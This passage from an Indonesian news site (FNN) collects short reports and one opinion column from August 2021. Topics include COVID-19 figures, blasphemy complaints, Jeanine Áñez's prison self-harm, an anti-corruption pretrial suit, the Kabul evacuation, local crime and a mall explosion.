(21/8) yakni 116.306 orang dengan positivity rate harian mencapai 14,40 persen. Kemudian, untuk kasus kematian pada Sabtu (21/8) mengalami kenaikan sebanyak 1.361 orang. Padahal, sehari sebelumnya kasus kematian akibat COVID-19 tercatat 1.348 orang. Lestari berharap para pemangku kepentingan segera melakukan perbaikan dan upaya-upaya pengendalian di sektor hulu secara masif dan terukur. Rerie, sapaan akrabnya, menduga masih banyak masyarakat di berbagai daerah belum memahami bahaya dari COVID-19. Hal itu berdasarkan upaya edukasi bagi masyarakat yang kurang maksimal. Faktanya, ujar dia, banyak pasien yang datang ke fasilitas kesehatan dalam kondisi sudah parah akibat terlambat terdeteksi COVID-19 sehingga menambah jumlah kasus kematian. Bila masyarakat paham tentang COVID-19, dua upaya pencegahan yaitu pemeriksaan dini jika mengalami gejala ringan dan vaksinasi yang telah dilakukan tentunya terealisasi dengan maksimal. Terkait distribusi vaksin, Rerie juga menegaskan agar penyaluran dari pemerintah pusat ke sejumlah daerah lebih ditingkatkan sesuai kebutuhan setiap. Tujuannya agar kekebalan komunitas segera tercapai sebagai bagian dari strategi pencegahan COVID-19. Melalui kombinasi masyarakat lewat upaya pencegahan di hulu dan penanganan COVID-19 di hilir oleh para pemangku kepentingan yang baik, Rerie percaya COVID-19 di Tanah Air segera bisa diatasi sesuai rencana. (sws)

Ulama Lebak Desak Polisi Tangkap Muhamad Kace Murtadin

Lebak, FNN - Ulama kharismatik Kabupaten Lebak KH Hasan Basri mendesak polisi untuk menangkap Youtuber Muhammad Kece Murtadin yang diduga menistakan agama Islam dan berpotensi menimbulkan keresahan di masyarakat. "Semua ulama Lebak menyesalkan beredarnya video Muhammad Kece melalui kanal Youtube telah menistakan agama Islam, padahal dia sebelumnya penganut Islam," kata KH Hasan Basri, Pimpinan Pondok Pesantren Nurul Hidayah Kabupaten Lebak, Banten, Minggu. Menurut dia, pernyataan Muhammad Kece tentu masuk kategori menistakan agama Islam, karena menuduh Nabi Muhammad SAW dikelilingi setan dan pendusta. Selain itu, juga menyatakan kitab kuning yang diajarkan di pondok pesantren menyesatkan dan menimbulkan radikalisme. Penyampaian Muhammad Kece itu tentu menyebarkan kebencian dan penghinaan terhadap agama Islam. "Kami berharap polisi segera menangkap Muhammad Kece, karena berpotensi menimbulkan perpecahan persatuan dan kesatuan bangsa," katanya menegaskan. Menurut dia, selama ini, pondok pesantren salafi di Indonesia, termasuk di Banten yang mengaji kitab kuning tidak ditemukan kiai maupun santri terpapar radikalisme dan terorisme. Kebanyakan pesantren salafi itu dari kalangan warga Nahdlatul Ulama (NU) . Mereka kiai dan santri ponpes salafi sangat cinta Tanah Air sendiri, karena bagian dari pada keimanan. Semestinya, kata dia, Muhammad Kece menebar kebaikan dan saling menghormati dan menghargai di tengah perbedaan keyakinan itu dan tidak boleh menghina juga menistakan agama Islam. Sebab, prinsip agama Islam menjaga toleransi menjadikan kewajiban, seperti dalam Al Quran "Lakum dinukum waliyadin" artinya bagimu agamamu bagiku agamaku. "Kami mengecam tindakan dan pernyataan Muhammad Kece yang intoleransi, dan aparat kepolisian harus segera menangkapnya," kata Komisi Fatwa MUI Banten itu pula. Ia mengajak umat Islam tidak terpancing dengan pernyataan Youtuber Muhammad Kece yang menistakan agama Islam. Umat Islam wajib menjaga persatuan dan kesatuan bangsa di NKRI. Di samping itu, juga menjaga sikap toleransi dengan menghormati serta menghargai di tengah perbedaan agama, suku, bahasa, dan adat. "Allah SWT menciptakan manusia di muka bumi dengan perbedaan, keragaman itu untuk saling bersatu dan melindungi serta jangan terjadi perpecahan," katanya lagi. (sws)

Mantan Presiden Bolivia Jeanine Anez Lakukan Percobaan Bunuh Diri

La Paz, FNN - Mantan Presiden Bolivia Jeanine Anez melukai dirinya sendiri selagi di penjara dengan menyayat bagian lengan pada Sabtu (21/8), kata pengacara Norka Cuellar kepada media setempat. Polisi menganggap kejadian itu sebagai percobaan bunuh diri. "Ini teriakan minta tolong dari mantan presiden. Dia merasa sangat dilecehkan," kata pengacara kepada wartawan. "Dokter datang dan mendapatinya dengan beberapa luka sayatan. Di pergelangan kiri ada tiga luka, mereka lantas menjahit luka tersebut," kata Cuellar. Awal 2021 Anez ditahan atas tuduhan keterlibatannya dalam kudeta untuk menggulingkan penguasa lama, mantan Presiden Evo Morales, pada 2019. Anez membantah tudingan tersebut dan mengaku bahwa dirinya hanyalah korban kekejaman politik. Ia kini menghabiskan waktunya di balik jeruji besi sambil menunggu persidangan. Menteri Dalam Negeri Eduardo del Castillo pada Sabtu mengonfirmasi bahwa Anez berupaya melukai dirinya sendiri, namun kini kondisinya stabil. "Apa yang terjadi didefinisikan sebagai percobaan bunuh diri," kata kepala unit anti kejahatan khusus (FELCC) kepolisian nasional Douglas Uzquiano kepada stasiun TV lokal. Anez sempat dibawa dari penjara ke rumah sakit pada Rabu (18/8) --untuk ketiga kalinya selama dua pekan. Para dokter mengatakan ia menjalani pemeriksaan toraks dan mengidap hipertensi. (Sumber: Reuters)

MAKI Ajukan Praperadilan ke KPK Atas Kasus Djoko Tjandra

Jakarta, FNN - Masyarakat Anti Korupsi Indonesia (MAKI) akan mengajukan gugatan praperadilan terhadap Komisi Pemberantasan Korupsi (KPK) atas penghentian supervisi dan penyidikan orang yang dianggap sebagai "king maker" pada kasus Djoko Tjandra. "MAKI akan mengajukan gugatan praperadilan melawan KPK dalam perkara dugaan tindak pidana korupsi pengurusan fatwa oleh Pinangki Sirna Malasari dan kawan-kawan untuk membebaskan Djoko Tjandra atas vonis penjara perkara korupsi Bank Bali," kata Koordinator MAKI Boyamin Saiman melalui keterangan tertulis yang diterima di Jakarta, Minggu (22/8). Terkait dengan materi praperadilan, MAKI menyiapkan sejumlah poin, yakni pada 11 September 2020 MAKI mengirimkan surat elektronik kepada KPK Nomor: 192/MAKI/IX/2020 perihal penyampaian materi dugaan perkara tindak pidana korupsi Joko S. Tjandra dan Pinangki Sirna Malasari untuk digunakan bahan supervisi. Setelah itu, MAKI diundang oleh KPK pada 18 September 2020 untuk memperdalam informasi terkait dengan "king maker" dalam perkara dugaan tindak pidana korupsi pengurusan fatwa oleh Pinangki Sirna Malasari dan kawan-kawan. MAKI menerima surat balasan dari KPK pada 2 Oktober 2020 perihal tanggapan atas pengaduan masyarakat sebagai balasan atas penyampaian materi dari MAKI berdasarkan surat MAKI tertanggal 11 September. Surat KPK tersebut berisi pengaduan dari MAKI yang dijadikan bahan informasi untuk Kedeputian Bidang Penindakan KPK. Seterusnya, Majelis Hakim Pengadilan Negeri Jakarta Pusat memutus perkara terdakwa Pinangki Sirna Malasari dan terdakwa lainnya. Dalam pertimbangannya menyatakan keberadaan "king maker" sebagai aktor intelektual dari Pinangki Sirna Malasari untuk membebaskan Djoko Tjandra dari kasusnya. Namun, majelis hakim menyatakan tidak mampu menggali siapa "king maker" sehingga menjadi kewajiban KPK untuk menemukannya sebagai aktor intelektual dari Pinangki Sirna Malasari. "Pada 30 Juli 2020, Ketua KPK Firli Bahuri menyatakan telah menghentikan supervisi perkara tersebut," ujarnya. Tindakan KPK yang menghentikan supervisi atas kasus tersebut adalah bentuk penelantaran perkara yang mengakibatkan penanganan kasus menjadi terkendala untuk membongkar dan mencari "king maker". Hal itu, lanjut dia, adalah bentuk penghentian penyidikan perkara korupsi secara materi, diam-diam, menggantung dan menimbulkan ketidakpastian hukum.

Komnasham: Konflik Agraria Akibat Pembangunan Terus Berlanjut

Jakarta, FNN - Komisioner Pengkajian dan Penelitian Komisi Nasional Hak Asasi Manusia (Komnas HAM) Sandrayati Moniaga mengatakan berdasarkan data, konflik agraria akibat pembangunan infrastruktur masih terus terjadi di Tanah Air. "Hal itu terus meluas dengan eskalasi yang semakin meningkat dan berimplikasi pada pelanggaran hak-hak ekonomi, sosial dan budaya, maupun hak sipil dan politik," kata dia di Jakarta, Minggu (22/8). Sepanjang 2020, hak kesejahteraan adalah tipologi yang paling banyak diadukan oleh masyarakat ke Komnas HAM yakni 1.025 kasus di mana di dalamnya termasuk konflik agraria. Sejumlah pelanggaran yang mengakibatkan konflik agraria tersebut, yakni pembangunan pelabuhan baru Makassar, pembangunan Sirkuit Moto GP di Mandalika Nusa Tenggara Barat, dan pengembangan kawasan wisata Danau Toba. Padahal, lanjut dia, Presiden Jokowi dalam pidato Hari HAM Sedunia pada 10 Desember 2020 telah memberikan jaminan bahwa pembangunan infrastruktur didedikasikan sebagai sarana pemenuhan HAM. Masih adanya konflik agraria akibat sejumlah pembangunan infrastruktur di Tanah Air, mendorong Komnas HAM mengingatkan bahwa Indonesia ikut serta dan mengakui Deklarasi Persatuan Bangsa-Bangsa tentang hak asasi petani dan orang yang bekerja di pedesaan (UNDROP). Di dalam deklarasi tersebut terdapat sejumlah poin pokok, di antaranya mengakui hubungan dan interaksi antara petani dengan orang yang bekerja di pedesaan. Mereka terikat dengan tanah, air, dan alam karena sebagai mata pencaharian. Negara, sambung dia, harus menghormati, melindungi, dan memenuhi hak-hak petani dan orang yang bekerja di pedesaan. Hal itu dengan mengambil langkah legislatif, administratif, dan langkah lainnya yang layak secara progresif guna mencapai perwujudan hak-hak yang ditetapkan dalam deklarasi tersebut. Hal yang tidak kalah penting, kata dia, dalam deklarasi tersebut menegaskan bahwa HAM sesuatu yang universal, tidak terpisahkan, saling terkait dan saling menguatkan. (sws)

PUPR Berdayakan 35.000 Orang Bangun Sanitasi Ponpes

Jakarta, FNN - Kementerian Pekerjaan Umum dan Perumahan Rakyat atau PUPR memberdayakan lebih dari 35.000 orang lewat program padat karya tunai (PKT) berupa pembangunan sanitasi pondok pesantren (ponpes). “Selain untuk mempercepat pemulihan ekonomi dan meningkatkan daya beli masyarakat, PKT juga bertujuan mendistribusikan dana hingga ke desa atau pelosok. Pola pelaksanaan PKT nanti juga harus memperhatikan protokol physical dan social distancing untuk pencegahan penyebaran COVID-19,” ujar Menteri PUPR Basuki Hadimuljono dalam keterangan tertulis yang diterima di Jakarta, Minggu. Ia mengatakan program PKT Kementerian PUPR dilaksanakan melalui pembangunan infrastruktur yang melibatkan masyarakat/warga setempat sebagai pelaku pembangunan, khususnya infrastruktur berskala kecil atau pekerjaan sederhana yang tidak membutuhkan teknologi. Selain menciptakan lingkungan belajar yang aman, nyaman, bersih dan sehat, program penyediaan sarana dan prasarana sanitasi pondok pesantren/LPK ini juga bertujuan mempertahankan daya beli masyarakat di tengah ketidakpastian kondisi ekonomi akibat pandemi COVID-19, sehingga manfaatnya dapat langsung berkontribusi pada program pemulihan ekonomi nasional (PEN). Kementerian PUPR pada 2021 memperluas penyaluran PKT melalui penyediaan sarana dan prasarana sanitasi di pondok pesantren/lembaga pendidikan keagamaan (LPK). Tercatat dalam sistem e-monitoring Kementerian PUPR per 21 Agustus 2021, telah tersalurkan dana Rp542,6 miliar atau 51,9 persen dari target Rp978,1 miliar. Anggaran yang terserap digunakan untuk upah tenaga kerja dan material, sehingga masih akan terus bertambah seiring waktu. Pembangunan sarana dan prasarana sanitasi pondok pesantren/LPK pada 2021 ditargetkan sebanyak 6.000 unit yang tersebar di 4.825 lokasi di Indonesia. Saat ini sudah tersalurkan di 2.582 lokasi dengan menyerap 34.576 tenaga kerja dari rencana 35.944 tenaga kerja. Untuk progres fisik seluruhnya sudah mencapai 31,6 persen. Program ini meliputi pembangunan bangunan MCK yang terdiri dari bilik mandi dan kakus/toilet, tempat wudhu, tempat cuci tangan dan tempat cuci pakaian serta instalasi pengolahan air limbah domestik dengan alokasi anggaran setiap unit sekitar Rp200 juta. Di samping sanitasi pondok pesantren/LPK, terdapat enam kegiatan PKT lain yang dilaksanakan Kementerian PUPR melalui Ditjen Cipta Karya dengan total menyerap 268.859 tenaga kerja. Kegiatan tersebut meliputi kota tanpa kumuh (kotaku) sebanyak 124.140 tenaga kerja, pengembangan infrastruktur sosial ekonomi wilayah (PISEW) menyerap 17.964 orang, tempat pengolahan sampah reduce reuse recycle (TPS3R) sebanyak 7.662 tenaga kerja, sanitasi perdesaan padat karya (sanimas) sebanyak 27.712 orang, SPAM perdesaan padat karya (pamsimas) sebanyak 34.823 orang, dan tambahan kegiatan kontraktual yang dilaksanakan dengan skema padat karya sebanyak 25.285 tenaga kerja. (sws)

Best Friend or Worst Enemy

By M Rizal Fadillah KEMENANGAN Taliban dan mengusir Amerika suatu hal yang besar. Joe Biden Presiden AS menyebut evakuasi tentara dan orang-orang sekutunya adalah misi terbesar dan tersulit. Peristiwa Vietnam terulang dengan lebih menyedihkan. Betapa dahsyat "blitzkrieg" pasukan Taliban memguasai Kabul. Tak ada pilihan selain cepat kabur. Uni Sovyet, Inggris, dan kini Amerika merasakan ketangguhan pejuang-pejuang Afghanistan yang anti imperialisme. Sulit menaklukan hingga tuntas atau selesai. Melelahkan dan membuat putus asa. Untuk menangkap dan membunuh dua tokoh Gulbuddin Hekmatyar (Mujahidin) dan Mullah Omar (Taliban) saja Amerika dan penguasa bonekanya tidak mampu. Pejuang Afghanistan adalah "the worst enemy". Agama Islam yang membentuk kepribadian dan kekuatan mentalnya di samping pantang menyerah juga memiliki kemampuan untuk menggalang solidaritas. Mujahidin tak dapat mengusir Sovyet tanpa solidaritas rakyat, begitu juga Taliban tidak bisa mengusir Amerika tanpa simpati rakyat. Diplomasi dunia dengan pola yang soft and smart mampu membangun kepercayaan dan harapan. Mereka adalah "the best friend". "Best friend or worst enemy" menjadi julukan para pejuang Afghanistan. Nah kini siapapun dapat melakukan pilihan salah satu di antara keduanya. Indonesia tidak terkecuali. Menteri Luar Negeri Retno Marsudi menyebut "Afghan owned and Afghan led" untuk menunjukkan empati penyelesaian oleh bangsa Afghanistan sendiri. Indonesia sejak awal telah ikut berkontribusi dalam proses perdamaian sebagai "co-fasilitators" atau "like minded" di Afghanistan. Retno Hadir menyaksikan pertemuan perdamaian di Doha Februari 2020. Nah kini sikap Pemerintah dan para pendukung diuji konsistensinya dalam menempatkan Taliban sebagai best friend. Tetap mendorong perdamaian atau justru memojokkan dengan stigma negatif sebagai teroris atau kelompok radikal. Jika Pemerintah tetap konsisten degan prinsip mendorong perdamaian dan "Afghan owned and Afghan led" maka cegah stigma negatif. Para Islamophobia, buzzer bayaran, serta tokoh penghasut, termasuk tokoh agama, yang terus memprovokasi bahaya Taliban untuk Indonesia dengan mengaitkan terorisme, radikalisme, atau ekstrimisme haruslah dicegah dan ditindak. Karena hal ini justru kontra produktif dan hanya akan menciptakan keretakan di dalam negeri. Membangun konflik yang tidak perlu. Simpati pada keberhasilan Taliban bukan bagian dari terorisme. Jangan bodoh dan sempit dalam berpandangan. Semoga bangsa Indonesia menjadikan Afghanistan sebagai "best friend" dan tidak memusuhinya sebab mereka itu bukan kelompok dan bangsa kaleng-kaleng. Kita pun tidak mau tentunya dianggap sebagai bangsa kaleng kaleng oleh yang dapat menjadi "the worst enemy". *) Pemerhati Politik dan Kebangsaan.

Ketimbang Melakukan Amandemen, MPR Diminta Fokus Sosialisasi Empat Pilar

Jakarta, FNN - Peneliti Forum Masyarakat Peduli Parlemen Indonesia (Formappi) Lucius Karus meminta agar MPR RI fokus dalam mensosialisasikan 4 Pilar MPR RI. “Mestinya sosialisasi 4 Pilar (MPR RI, red) bisa dimaksimalkan, alih-alih melakukan amendemen,” kata Lucius Karus ketika menyampaikan paparan dalam diskusi publik bertajuk “Siapa Butuh Amendemen?” yang diselenggarakan secara daring, di Jakarta, Ahad, 22 Agustus 2021. Melakukan sosialisasi 4 Pilar merupakan bagian dari tugas dan kewenangan MPR RI, tutur Lucius. Khususnya, guna memperkuat penghayatan nilai-nilai kebangsaan oleh seluruh lapisan masyarakat Indonesia, termasuk jajaran pemerintah. Adapun pilar-pilar yang disosialisasikan adalah Pancasila, Undang-Undang Dasar 1945, Negara Kesatuan Republik Indonesia (NKRI), dan Bhinneka Tunggal Ika. Lucius juga mengatakan bahwa, saat ini, bangsa Indonesia tengah menunggu hasil dari sosialisasi 4 Pilar MPR RI berupa penurunan permasalahan kebangsaan. Namun, hasil tersebut masih belum terlihat. “Sejauh ini, permasalahan terkait kebangsaan justru semakin kuat,” ucap Lucius. Permasalahan kebangsaan, seperti politik identitas, politik uang, korupsi, dan lain sebagainya, diyakini diakibatkan oleh karakter kebangsaan yang mulai menipis. Oleh karena itu, Peneliti Formappi ini menekankan pentingnya MPR dalam mengarahkan perhatian pada keempat pilar tersebut. Di tengah pandemi COVID-19, bagi Lucius, yang dibutuhkan oleh Indonesia adalah penguatan karakter kebangsaan, sehingga amendemen UUD 1945 dapat dilakukan pada periode selanjutnya atau ketika pandemi berakhir. “Jadi saya kira itu harus dimaksimalkan, ketimbang berencana melakukan amendemen,” tuturnya, senagaimana dikutip dari Antara. Bagi Lucius Karus, belum terdapat urgensi yang mengharuskan pemerintah untuk mengakomodir pembentukan Pokok-Pokok Haluan Negara (PPHN) melalui amendemen UUD 1945. Justru, proses amendemen dapat memunculkan isu-isu serta instabilitas yang tidak diinginkan di negeri ini. “Di samping karena situasi (untuk amendemen, red) yang kurang memungkinkan karena pandemi, saya kira banyak hal lain yang bisa dilakukan oleh MPR,” kata Lucius. (MD).

Sahabat Ganjar Deklarasikan Ganjar Pranowo Maju Pada Pemilihan Presiden 2024

Jakarta, FNN - Kelompok relawan yang menamakan diri Sahabat Ganjar mendeklarasikan Gubernur Jawa Tengah yang juga kader PDI-P, Ganjar Pranowo supaya maju pada Pemilihan Presiden (Pilpres) 2024. Deklarasi secara serentak dilakukan di 34 provinsi se-Indonesia. "Kami menebarkan semangat yang selama ini digaungkan Ganjar di 51 kota pada 34 provinsi di Indonesia," kata Ketua Umum Sahabat Ganjar Lenny Handayani melalui keterangan tertulis yang diterima di Jakarta, Ahad, 22 Agustus 2021. Tujuan deklarasi serentak tersebut guna melakukan konsolidasi agar bisa bersinergi serta bergerak bersama sesuai visi dan misi Sahabat Ganjar yaitu mengusung Ganjar Pranowo maju di Pilpres 2024. "Sahabat Ganjar dapat menjadi perpanjangan tangan dalam menyebarluaskan semangat kepemimpinan Ganjar ke masyarakat luas," ujar dia, sebagaimana dikutip dari Antara. Sebagai sosok yang dekat dengan berbagai elemen masyarakat termasuk anak muda, Ganjar merupakan pemimpin yang ramah, merakyat, dinamis dan mengedepankan dialog. "Sahabat Ganjar akan secara nyata mendukung Ganjar untuk maju," katanya . Deklarasi Sahabat Ganjar telah dilaksanakan di Yogyakarta pada 20 Juni 2021. Kemudian diperluas hingga 33 provinsi lainnya yang menyasar di 51 kota di Indonesia. Ia menyebutkan 51 kota tersebut di antaranya Aceh, Medan, Pekanbaru, Jambi, Bengkulu, Palembang, Kota Lampung, Serang, Kota Bogor, Kuningan, Sukabumi, Cianjur, Karawang, Bandung dan sejumlah kota lainnya. Deklarasi Sahabat Ganjar juga ditandai dengan pembagian paket sembako dan masker kepada masyarakat yang terdampak Covid-19. Deklarasi tersebut juga dikemas dengan cara-cara unik. Misalnya, di Cirebon relawan Sahabat Ganjar melakukan deklarasi di atas perahu nelayan. Di Kuningan, deklarasi menggunakan iring-iringan delman. Di Bojonegoro, Medan, Solo dengan iring-iringan becak. Di Bali, para Sahabat Ganjar memborong jajanan kaki lima. Kemudian, di Semarang kegiatan unik Sahabat Ganjar yakni melakukan aksi tanam pohon bakau. Sekilas tentang Sahabat Ganjar adalah kelompok relawan yang dibentuk pada 20 Juni 2021. Kelompok tersebut terdiri dari berbagai elemen masyarakat yang hadir membantu menyosialisasikan semua informasi tentang Ganjar Pranowo. (MD).

Sebanyak 20 Orang Tewas Saat Evakuasi di Bandara Kabul

Kabul, FNN - Pakta Pertahanan Atlantik Utara (NATO/North Atlantic Treaty Organization) mengatakan, sedikitnya 20 orang tewas di dalam dan sekitar bandara Kabul dalam seminggu terakhir. Peristiwa nahas tersebut terjadi selama upaya evakuasi,, setelah Taliban mengambil alih kendali ibu kota Afghanistan itu pekan lalu. "Krisis di luar bandara Kabul adalah keadaan yang disesalkan. Fokus kami adalah mengevakuasi semua warga negara asing sesegera mungkin," kata pejabat NATO yang tidak ingin disebutkan jati dirinya, kepada Reuters, Ahad, 22 Agustus 2021. Massa di bandara terus bertambah setiap hari sejak pekan lalu. Keadaan itu menghambat operasi yang sedang dijalankan Amerika Serikat dan negara-negara lainnya untuk mengevakuasi ribuan diplomat dan warga sipil mereka, juga warga Afghanistan dalam jumlah besar. "Pasukan kami sedang mempertahankan jarak yang ketat dari daerah-daerah di luar bandara Kabul untuk mencegah bentrokan dengan Taliban," kata pejabat NATO itu. Pengambilalihan kendali secara kilat oleh Taliban telah memicu kekhawatiran soal aksi pembalasan. Juga bahwa penafsiran hukum Islam yang keras kemungkinan akan diberlakukan lagi oleh kelompok Muslim Sunni itu. Seperti yang mereka lakukan ketika berada di kursi kekuasaan dua puluh tahun lalu. (MD).

Persija Dipastikan Berkantor di Jakarta International Stadion

Jakarta, FNN - Persatuan Sepak Bola Indonesia Jakarta (Persija) dipastikan berkantor di Jakarta International Stadion (JIS), Jakarta Utara. Namun, stadion bertarap inernasional tersebut tidak hanya diperuntukkan bagi Persija. Kepastian tersebut disampaikan Wakil Gubernur DKI Jakarta Ahmad Riza Patria, di Jakarta Selatan. Ahad, 22 Agustus 2021. “Persija akan berkantor di situ (JIS). Tentu kita akan prioritaskan,” kata Riza. Stadion bertaraf internasional tersebut tidak hanya diperuntukkan bagi Persija saja. Akan tetapi, juga bagi seluruh warga Jakarta untuk menjadikan stadion itu sebagai wadah mencetak atlet sepak bola nasional. Dia menuturkan, penandatanganan kontrak dengan PSSI (Persatuan Sepak Bola Seluruh Indonesia) ditujukan mengoptimalkan pengelolaan dan pengembangan kawasan stadion tersebut di bidang olahraga khususnya sepak bola. “Stadion JIS diperuntukan untuk masyarakat Jakarta dan seluruh masyarakat Indonesia tentunya. Itu kan kerjasama pengelolaan dengan PSSI agar selalu bermanfaat bagi seluruh warga Jakarta dan Indonesia,” kata dia, sebagaimana dikutip dari Antara. Sebelumnya PT Jakarta Propertindo (Jakpro) menandatangani perjanjian kerja sama dengan PSSI untuk mengoptimalkan pemanfaatan JIS. “Tujuannya untuk optimalisasi, utamanya bagaimana kami memajukan olah raga secara umum, khususnya sepak bola,” kata Direktur Utama Jakpro, Dwi Wahyu Daryoto di Jakarta Utara, Selasa (17/8). Perjanjian itu pun akan menjadi acuan utama pelaksanaan kegiatan dan pertandingan serta komersialisasi stadion dan kawasan di stadion tersebut. Tidak hanya itu, kesepakatan kedua belah pihak juga akan menjadi dasar pengembangan lapangan dan kawasan serta pengembangan sepak bola nasional dengan standar internasional. “Mudah-mudahan area tersebut bisa menumbuhkan bibit unggul sehingga muncul atlet, khususnya sepak bola di kanca regional dan internasional,” kata Dwi Wahyu. (MD).

Pengemudi Fortuner Berpelat Dinas Polisi Ditetapkan Menjadi Tersangka

Jakarta, FNN - Satuan Kepolisian Resort Metro Jakarta Selatan menetapkan pengemudi Fortuner berpelat dinas Polri 3488-07 berinisial AS (20) sebagai tersangka tabrak lari dua mobil di Jalan Tentara Pelajar Grogol Utara, Kebayoran Lama, Jumat (20/8) dini hari. "Saudara AS kita tetapkan sebagai tersangka dengan alat bukti, pertama ada keterangan saksi, kemudian hasil rekaman CCTV, termasuk kesesuaian petunjuk keterangan saksi, keterangan tersangka sama kerusakan kendaraan dan sebagainya," kata Direktur Lalu Lintas Polda Metro Jaya Komisaris Besar Sambodo Purnomo Yogo di Mapolres Jakarta Selatan, Ahad, 22 Agustus 2021. Dari hasil penyelidikan, kata Sambodo, tersangka AS mengemudikan mobil dengan melawan arah yang membahayakan para pengemudi lainnya. Kemudian, lanjut Sambodo, yang bersangkutan juga termasuk dalam kejadian tabrak lari. Sebab, setelah kejadian dia melarikan diri dan tidak menolong korban atau melaporkan kepada polisi terdekat. " AS juga dengan sengaja mengemudikan kendaraan dengan cara membahayakan, yaitu melawan arah, dan putar balik tiba-tiba. Kemudian, tetap melanjutkan perjalanan walaupun setelah kecelakaan terjadi," kata dia. Dia menegaskan, tersangka AS bukanlah anggota polisi, melainkan sopir dari anggota Polri aktif yang menyalahgunakan pelat nomor kendaraan atasannya. "Pelaku bukan anggota Polri, pelaku kalau di KTP-nya adalah pelajar atau mahasiswa. Akan tetapi, saat ini bekerja sebagai sopir dari pemilik kendaraan," katanya, sebagaimana dikutip dari Antara. Sambodo menambahkan pelat nomor polisi tersebut merupakan asli mobil dinas Polri. Namun demikian, kata dia, pelat tersebut sudah tidak berlaku lagi. Pelaku mengambil pelat tersebut di garasi tanpa izin dari anggota Polri aktif tersebut. "Pemiliknya anggota Polri aktif. Namun, ketika yang bersangkutan akan keluar mencari makan pelatnya diganti dengan pelat itu yang ia temukan di garasi tanpa izin dari pemilik," kata Sambodo. Sambodo juga memastikan tersangka AS saat mengendarai mobil tersebut sedang dalam kondisi sadar dan sehat. "Kepada yang bersangkutan juga sudah dilakukan cek urin dengan hasil semuanya negatif," kata dia. Atas perbuatannya, tersangka AS disangkakan dengan pasal 310 ayat 1, pasal 311 ayat 2, pasal 311 ayat 3, dan asal 312 Undang-Undang Lalu Lintas Nomor 22 Tahun 2009 Tentang Lalu Lintas dan Angkutan Jalan. Sebelumnya, mobil Fortuner VRZ berpelat dinas Polri viral di media sosial Instagram karena melawan arah dan melarikan diri usai menabrak dua mobil "Tolong bantu viralkan kawan-kawan yang melihat story ini oknum polisi yang melawan arah dan menabrak mobil saya dan melukai saya lalu melarikan diri," tulis akun instagram @mala_hasan04. (MD).

Sebanyak 19 Warga Negara Indonesia Ditahan di Johor Bahru

Kuala Lumpur, FNn - Sebanyak 19 orang Warga Negara Indonesia (WNI), yang terdiri dari satu calo dan 18 pekerja migran ilegal, serta satu calo bekas pegawai setempat ditahan Imigrasi Malaysia, di Johor Bahru. Menindaklanjuti penangkapan 19 orang WNI pada "OPS Selundup" 20 Agustus 2021, Konsulat Jenderal Republik Indonesia (KJRI) Johor Bahru telah berkoordinasi dengan JIM di Negeri Johor. Pihak konsulat memperoleh informasi, para WNI dalam keadaan baik serta masih dalam proses karantina sambil menunggu hasil tes PCR. "KJRI Johor Bahru akan memberikan pendampingan kekonsuleran serta memastikan proses hukum bagi WNI yang tertangkap sesuai dengan ketentuan yang berlaku di Malaysia. Sekiranya diperlukan bantuan hukum, KJRI Johor Bahru akan memberikan pendampingan retainer lawyer bagi 18 korban WNI yang dikenakan Undang-Undang Imigrasi," kata Konjen KJRI Johor Bahru, Sunarko. Dirjen JIM, Indera Khairul Dzaimee dalam pernyataan pers di Putrajaya, Ahad (22/8) mengatakan, "Departemen Imigrasi Malaysia (JIM) telah berhasil menumpaskan satu sindikat penyeludupan migran dalam operasi khusus 'Ops Selundup' yang dilaksanakan di kawasan Tanjung Sedili, Kota Tinggi, Johor." Dia mengatakan, operasi tersebut dijalankan pada 20 Agustus 2021 oleh pasukan pegawai imigresen dari Bagian Intelijen dan Operasi Khusus dengan bantuan dari Angkatan Tentara Malaysia (ATM). "Dalam operasi itu, dua orang dalang telah berhasil ditahan yang melibatkan seorang bekas PNS berumur 33 tahun dan seorang lelaki warga negara Indonesia berusia 35 tahun," katanya. Ketika operasi dijalankan, ujar dia, para migran yang dimaksud sedang diangkut dengan menggunakan tiga kendaraan, yang masing-masing dipandu oleh kedua calo tersebut. Seorang pemandu berhasil melarikan diri. "Pasukan Operasi telah mendapat informasi bahwa sekelompok migran yang diselundupkan direncanakan mendarat di Pantai Tanjung Lompat, Johor antara pukul 03.00 hingga 5.00 pagi. Pasukan Operasi telah digerakkan dan berhasil menghadang kendaraan-kendaraan yang membawa migran-migran tersebut," katanya, sebagaimana dikutip Antara. Selain calo dan migran, ketiga kendaraan yang digunakan, telah disita uang sejumlah RM 130,000 (sekitar Rp 443 juta). Sindikat itu diyakini telah bergerak aktif sejak Perintah Kawalan Pergerakan (PKP) diterapkan pada 2020. Modus operandi sindikat tersebut adalah menjalin kerja sama dengan calo atau yang menyeludup migran dari Indonesia dan mendarat di pantai sekitar Negeri Johor. "Tekong darat akan menyediakan pengangkutan untuk mengangkut migran-migran berkenaan sebelum diberikan kepada majikan. Biaya yang dikenakan oleh sindikat kepada migran untuk diselundupkan masuk ke Malaysia adalah antara RM 800.00 (Rp 2,7 juta) hingga RM 1,500.00 (Rp 5,1 juta) per orang," katanya. Sebanyak 18 orang migran yang ditangkap itu akan diproses di bawah Pasal 6(1)(c) Undang-Undang Imigrasi 1959/63 karena memasuki Malaysia tanpa izin yang sah. "Manakala kedua tekong tersebut akan diproses di bawah Pasal 26A Undang-Undang Antiperdagangan Orang dan Antipenyeludupan Migran 2007 bagi kesalahan menyelundupkan migran. Mereka bisa dihukum penjara tidak melebihi 15 tahun, dan boleh juga dikenakan denda, atau kedua-duanya. Semua sedang ditahan di Depo Imigrasi," katanya. (MD).

Ledakan di Margocity Sebabkan Seorang Tewas

Depok, FNN - Direktur Utama Rumah Sakit Universitas Indonesia (RSUI) Dr. dr. Astuti Giantini menyatakan seorang korban meninggal dunia akibat peristiwa ledakan di Margocity Depok, Jawa Barat. Sebelum meninggal, korban mendapat perawatan di Instalasi Gawat Darurat (IGD) rumah sakit tersebut. "Satu korban laki-laki berusia 30 tahun mengalami cedera berat di bagian kepala dan luka bakar. Akan tetapi, setelah mendapatkan perawatan medis, korban mengembuskan nafas pada pagi dini hari, (Ahad. 22 Agustus 2021) pukul 03.22 WIB. Pagi ini pukul 08.50 WIB jenazah sudah dibawa oleh pihak keluarga untuk dimakamkan," kata Astuti Giantini dalam keterangannya, Minggu. Dua korban lainnya juga laki-laki, kondisinya hanya mengalami luka bakar dan luka lecet yang tergolong cukup ringan sehingga sudah diperbolehkan pulang sejak tadi malam, pukul 23.30 WIB. Menurut Antara, RSUI membenarkan pihaknya mencatat ada 3 korban yang telah dibawa ke RSUI. Ketiga korban tersebut datang ke RSUI pada Sabtu (21/8) sore dan langsung mendapat perawatan di IGD 